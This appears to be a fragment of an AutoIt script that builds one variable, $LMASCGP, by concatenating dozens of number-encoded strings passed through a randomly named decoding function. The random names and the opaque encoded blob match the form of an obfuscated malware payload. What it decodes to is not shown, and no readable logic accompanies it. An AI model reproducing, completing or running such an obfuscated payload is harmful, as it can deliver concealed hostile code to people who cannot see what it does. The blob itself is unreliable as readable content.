$LMASCGP &= BTBXJYMRFGAETPA ("56,56,6,56,55,56,54,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,53,57,57,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,54,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,59,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,54,57,59,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,53,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,55,56,6,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,54,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,55,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,56,56,54,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,55,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,54,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,57,56,56,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,59,56,6,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,60,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,58,56,58,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,55,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,59,56,60,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,60,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,55,56,60,57,54,57,59,57,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,54,57,55,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,54,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,6,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,55,57,57,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,5,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,55,56,6,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,56,57,59,57,55,56,54,57,54,57,54,57,54,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,56,6,56,5,56,6,56,55,56,59,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,56,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,57,56,6,57,55,56,54,57,54,57,54,57,54,57,54,56,6,57,58,56,55,57,56,56,59,56,56,56,6,56,5,56,6,56,55,56,57,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,57,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,56,57,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,56,56,6,56,60,56,60" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,57,56,56,56,56,55,56,60,56,6,57,58,57,56,57,55,57,55,56,6,57,59,56,58,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,57,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,54,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,5,56,60,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,58,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,56,6,56,60,56,55,56,60,57,55,56,6,56,6,56,59,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,56,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,54,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,54,57,54,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,54,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,60,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,55,57,56,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,6,56,60,56,60,56,60,56,60" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,57,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,56,57,58,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,6,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,55,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,57,56,5,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,53,57,57,56,6,57,56,56,6,56,55,57,57,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,58,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("59,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,53,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,53,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,59,56,6,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,53,56,6,56,6,57,56,56,6,56,55,56,60,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,60,56,5,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,53,56,56,56,6,57,56,56,6,56,55,57,54,56,60,57,54,56,5" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,54,57,59,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,53,56,60,56,6,57,56,56,6,56,55,57,58,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,55,57,58,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,54,57,57,56,6,57,56,56,6,56,55,56,53,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,56,57,57,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,57,57,57,56,60,56,59,56,60,56,60,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("60,56,60,56,6,57,56,56,6,56,55,57,54,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,57,58,56,55,57,55,56,60,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,54,56,6,57,58,56,55,57,56,56,59,56,56,56,6,56,5,56,56,56,55,56,54,56,56,56,6,57,56,56,6,56,55,56,55,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,57,55,57,55,56,55,57,54,57,54,57,54,57,54,56,6,57,58,56,55,57,56,56,60" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,57,56,6,56,5,56,56,56,55,56,54,56,60,56,6,57,56,56,6,56,55,56,5,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,5,57,57,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,55,57,57,56,6,57,56,56,6,56,55,56,56,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,6,57,56,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,56,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,53,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("60,57,55,56,6,56,53,57,58,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,55,56,6,56,6,57,56,56,6,56,55,57,58,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,54,57,57,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,55,56,56,56,6,57,56,56,6,56,55,56,59,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,55,57,56,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,56,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,5,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,56,57,58,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,54,56,6,56,6,57,56,56,6,56,55,57,58,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,57,56,56,6,57,55,56,6,56,57,56,56,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,55,56,60,56,6,57,56,56,6,56,55,57,54,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,57,56,56,6,57,55,56,6,56,59,57,56,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,56,56,6,56,6,57,56,56,6,56,55,57,59,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,57,56,56,6,57,55,56,6,56,60,56,54,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,56,56,56,56,6,57,56,56,6,56,55,56,6,56,60,57,54,57,57,57,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,57,56,56,6,57,55,56,6,57,55,57,54,57,55,56,56,57,54,57,54,57,54,57,54,56,6,57,58,56,55,57,56,56,59,56,6,56,6,56,5,56,56,56,55,56,56,57,57,56,6,57,56,56,6,56,55,57,56,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,56,57,56,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,57,56,56,56,6,57,56,56,6,56,55,56,57,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("60,57,55,56,6,57,57,57,55,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,57,56,6,56,6,57,56,56,6,56,55,56,59,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,57,54,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,57,57,57,56,6,57,56,56,6,56,55,57,59,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,56,60,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,56,56,60,56,6,57,56,56,6,56,55,57,58,56,60,57,54,57,57,57,54,57,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,57,56,56,54,56,6,56,5,56,56,56,55,56,57,56,60,56,6,57,56,56,6,56,55,56,6,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,57,56,56,54,56,6,57,58,56,55,57,56,56,60,57,57,56,6,56,5,56,56,56,55,56,58,57,57,56,6,57,56,56,6,56,55,56,53,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,6,56,60,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,58,56,6,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("6,57,56,56,6,56,55,56,55,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,53,56,59,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,58,56,56,56,6,57,56,56,6,56,55,56,57,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,57,56,56,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,54,57,59,56,55,57,55,56,6,56,5,56,56,56,55,56,58,56,60,56,6,57,58,56,56,56,55,56,60,56,6,56,55,56,5,56,6,57,56,56,53,56,55,56,60,57,57,56,6" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,58,57,54,56,6,57,54,56,57,57,59,56,55,56,55,57,54,56,55,57,55,56,55,57,58,57,57,56,5,57,57,56,58,56,53,57,57,56,60,56,59,56,6,57,56,56,6,57,56,57,55,56,56,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,59,56,54,57,59,57,54,57,54,57,54,57,54,57,56,56,60,56,57,56,5,56,5,57,56,57,55,56,56,57,54,56,6,57,54,57,54,57,54,57,54,56,60,57,54,56,6,56,56,56,5,56,59,57,54,56,6,57,54,57,54,57,54,57,54,56,6,57,56,56,6,56,55,56,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,56,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,58,56,56,57,55,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,56,6,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,56,6,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,58,57,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,54,56,60,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,56,56,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,56,56,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,56,56,56,57,54,56,54,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,57,54,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,57,54,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,57,57,57,57,54,56,56,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,56,55,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,56,56,60,56,55,56,5,56,55,56,60,56,6,57,56,56,6,56,55,56,55,56,60,57,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,55,57,54,57,54,57,54,57,54,57,55,56,5,56,6,57,57,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,55,56,6,57,58,57,55,57,57,56,6,56,59,57,55,57,57,56,53,57,57,56,60,56,54,56,60,56,60,56,60,56,60,56,55,56,57,56,55,56,54,56,55,56,53,57,54,57,54,56,53,56,55,56,60,56,6,57,54,57,54,56,5,56,55,56,57,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,56,56,60,56,55,56,60,57,54,57,54,56,53,56,55,56,60,56,6,56,6,57,56,56,6,56,55,56,6,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,5,56,55,56,56,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,57,57,57,56,56,56,59,56,60,56,54,56,6,56,60,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,54,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,56,6,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,5,56,55,56,56,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,58,56,55,57,56,56,60,57,57,56,6,57,58,56,53,56,57,56,57,57,57,56,57,56,57,57,54,57,54,56,54,57,59,56,59,56,60,56,6,57,56,56,56,56,55" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,55,56,6,56,55,56,60,56,6,56,5,56,53,57,56,57,55,56,60,56,6,56,5,56,53,57,56,57,54,57,57,56,6,56,5,56,53,57,56,57,56,56,6,56,6,56,5,56,53,57,56,57,54,56,6,56,6,56,5,56,53,57,56,57,56,57,57,56,60,56,57,57,54,56,57,57,54,57,54,56,5,56,55,56,57,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,54,57,59,56,56,56,56,56,6,57,56,56,6,56,55,56,54,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,5,56,55,56,57,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,54,56,6,57,57,57,57,56,60,56,58,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,5,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,5,56,55,56,57,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,59,56,57,57,55,56,55,56,60,56,56,56,55,56,60,56,60,56,60,56,60,56,53,56,55,56,58,57,55,56,6,57,56,56,56,56,55,57,55,56,6,56,55,56,60,56,6,57,56,56,6,56,55,56,54,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,56,55,56,53,56,55,56,53,56,54,56,6,56,60,57,57,56,60,56,60,56,60,56,60,56,60,56,6,56,55,56,53,56,55,56,53,56,55" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,53,56,55,56,53,56,6,57,56,56,6,56,55,56,54,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,5,56,55,56,58,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,55,56,59,56,60,56,55,56,57,57,54,57,54,56,5,56,55,56,58,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,57,56,57,57,57,56,60,56,55,57,54,56,55,57,55,56,55,57,58,57,57,56,5,57,57,56,58,56,6,56,60,56,60,56,59,56,55,56,53,56,54,57,59,56,59,56,6,56,6,57,56,56,56,56,55,57,58,56,56,56,55,56,60,56,55,56,53,57,54,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,56,53,56,55,57,55,56,6,57,54,57,54,56,5,56,55,56,53,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,53,56,54,57,59,56,60,56,56,56,6,57,56,56,56,56,55,56,60,56,6,56,55,56,60,56,6,57,58,56,56,56,55,57,58,56,6,56,6,56,57,57,57,56,60,56,60,56,6,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,56,6,56,5,56,53,57,56,56,60,56,6,57,54,57,54,56,5,56,55,56,6,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,5,56,60,57,57,56,55,56,53,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,5,56,55,56,55,57,57,56,60,56,59,56,60,56,60,56,60,56,60,57,55,57,58,57,58,57,57,56,6,57,58,56,56,56,55,56,60,56,6,56,57,57,58,56,56,56,54,56,57,56,56,56,53,56,55,56,60,57,55,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,56,5,56,55,56,54,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,6,57,56,57,55,56,6,57,58,56,56,56,54,56,55,56,60,56,55,56,53,56,54,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,56,54,57,59,56,56,56,60,56,6,56,5,56,56,56,55,57,56,56,60,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("6,57,56,56,56,56,55,57,56,56,60,56,55,56,60,56,55,56,53,56,54,56,6,56,59,57,54,56,60,56,60,56,60,57,54,56,60,56,60,56,6,57,56,56,56,56,55,57,55,56,60,56,55,56,60,56,6,56,5,56,53,57,56,57,56,56,56,57,54,57,54,56,5,56,55,56,6,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,6,57,58,56,55,56,6,57,58,56,56,56,55,57,56,56,60,56,54,57,59,56,56,56,60,56,55,56,53,56,54,57,59,56,60,56,58,56,6,56,5,56,56,56,55,57,56,56,6,56,6,57,56,56,56,56,55,57,56,56,6,56,55,56,60,56,55,56,53,56,55" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,53,56,55,56,53,56,6,57,56,56,56,56,55,57,54,57,57,56,55,56,60,56,54,57,59,57,54,57,54,57,54,57,54,56,53,56,55,57,55,56,60,57,54,57,54,56,5,56,55,56,53,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,6,56,5,56,60,56,6,57,58,56,56,56,54,56,57,56,56,56,6,56,5,56,56,56,55,57,54,56,6,56,6,57,58,56,56,56,55,57,56,56,60,56,6,56,5,56,56,56,55,57,56,57,57,56,6,57,58,56,56,56,55,56,60,56,6,56,57,57,58,56,56,56,54,56,57,56,56,56,53,56,58,56,60,57,54,56,57,57,58,56,56,56,54,56,55,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("60,56,53,56,53,56,60,57,59,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,56,5,56,55,56,54,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,54,57,59,56,56,56,60,56,55,56,53,56,54,57,59,56,60,56,58,56,6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,56,55,56,53,56,55,56,53,56,55,56,53,56,6,57,56,56,56,56,55,57,54,56,6,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,56,53,56,55,57,55,56,60,57,54,57,54,56,5,56,55,56,53,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,5" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,59,57,59,56,55,56,53,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,56,5,56,55,56,55,57,57,56,60,56,59,56,60,56,60,56,60,56,60,57,54,57,54,56,53,56,55,57,54,57,57,56,54,57,59,57,54,57,54,57,54,57,54,56,5,56,55,56,54,57,57,56,60,56,59,56,60,56,60,56,60,56,60,57,55,56,5,57,54,57,58,57,54,57,55,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,54,56,55,56,56,56,6,57,58,56,55,57,58,56,57,57,57,57,54,57,54,56,53,56,55,56,60,57,57,57,54,57,54,56,53,56,55,57,54,57,57,57,54,57,54,56,5,56,55,56,55,56,56,56,60,56,59,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("60,56,60,56,60,56,60,56,57,56,57,57,57,56,60,56,6,56,57,57,57,56,56,56,60,57,57,56,6,56,5,56,53,57,56,57,55,56,56,56,54,56,54,56,57,57,58,56,56,56,54,56,60,56,54,56,53,56,57,56,57,56,58,56,6,57,58,56,56,56,55,56,60,57,57,56,6,57,56,56,5,57,57,56,60,56,57,56,60,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,58,56,60,56,57,56,60,56,57,56,56,56,55,56,60,57,57,57,54,57,54,56,53,56,57,57,54,57,57,56,55,56,60,56,6,57,58,56,56,56,57,57,54,56,6,56,60,56,57,56,56,56,55,57,54,57,57,56,55,56,60,57,54,57,54,56,5" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,55,56,55,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,60,57,54,57,58,56,53,56,56,56,54,56,60,56,54,56,6,56,57,57,57,56,56,56,60,57,57,57,54,57,54,56,56,56,55,57,55,56,56,56,6,56,57,57,57,56,57,56,58,56,6,56,57,56,5,56,56,56,55,57,55,56,56,56,53,56,58,57,56,56,6,56,6,57,56,56,56,56,55,57,57,57,57,56,55,56,60,56,54,57,59,56,60,56,56,56,6,57,56,56,56,56,55,57,54,56,6,56,55,56,60,56,6,57,58,56,56,56,55,57,58,56,6,56,6,56,57,57,57,56,60,56,60,56,6,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,56,6,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("5,56,53,57,56,57,57,57,57,57,54,57,54,56,5,56,55,56,53,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,5,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,53,56,55,57,55,57,57,57,57,56,53,56,6,56,55,56,5,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,60,56,53,56,60,56,60,56,60,56,59,56,60,56,60,57,54,57,54,56,5,56,55,56,54,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,60,57,54,56,6,56,6,57,59,56,58,57,54,57,55,57,54,57,54,57,54,57,54,56,6,57,58" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,56,56,54,56,58,56,6,56,60,56,57,56,56,56,55,57,54,56,6,56,6,56,5,56,6,56,55,56,56,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,6,57,56,56,6,56,55,56,5,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,53,56,55,57,55,57,57,57,54,57,54,56,5,56,55,56,54,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,53,56,6,56,55,57,57,56,60,56,60,57,54,56,6,56,6,56,57,56,59,57,54,57,54,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,55,57,55,57,57,57,54,57,54,56,5,56,55,56,54,56,6,56,60,56,59,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,60,57,54,56,6,56,6,56,59,57,54,57,54,57,54,57,54,57,54,57,54,57,54,56,6,57,58,56,56,56,55,57,55,56,6,57,55,56,5,56,58,57,55,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,55,56,6,57,58,57,55,57,57,56,6,56,57,57,55,56,56,57,54,56,6,56,6,56,59,57,55,57,57,56,58,56,6,56,60,56,56,56,60,56,60,56,60,56,60,56,6,56,57,57,59,56,56,56,58,56,56,56,56,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,60,56,60,56,55,56,54,56,55,56,53,56,6,56,59,57,55,57,57,56,53,56,6,56,60" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,59,56,60,56,60,56,60,56,60,56,54,57,59,56,55,57,55,56,55,56,5,56,6,57,58,57,54,57,57,56,6,57,56,56,6,56,56,56,58,56,56,56,57,56,60,56,60,56,56,56,60,56,60,56,60,56,60,56,6,57,56,57,58,56,56,56,58,56,56,57,58,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,60,57,54,56,57,57,59,56,55,57,55,56,6,57,54,57,58,57,55,56,58,57,54,57,54,57,54,57,54,56,54,57,59,56,55,57,55,56,55,56,5,56,54,57,59,56,54,56,54,56,6,57,58,57,54,56,60,56,55,56,6,56,54,57,59,56,53,56,58,56,6,57,56,56,53,57,57,56,58,56,56,56,57,57" )
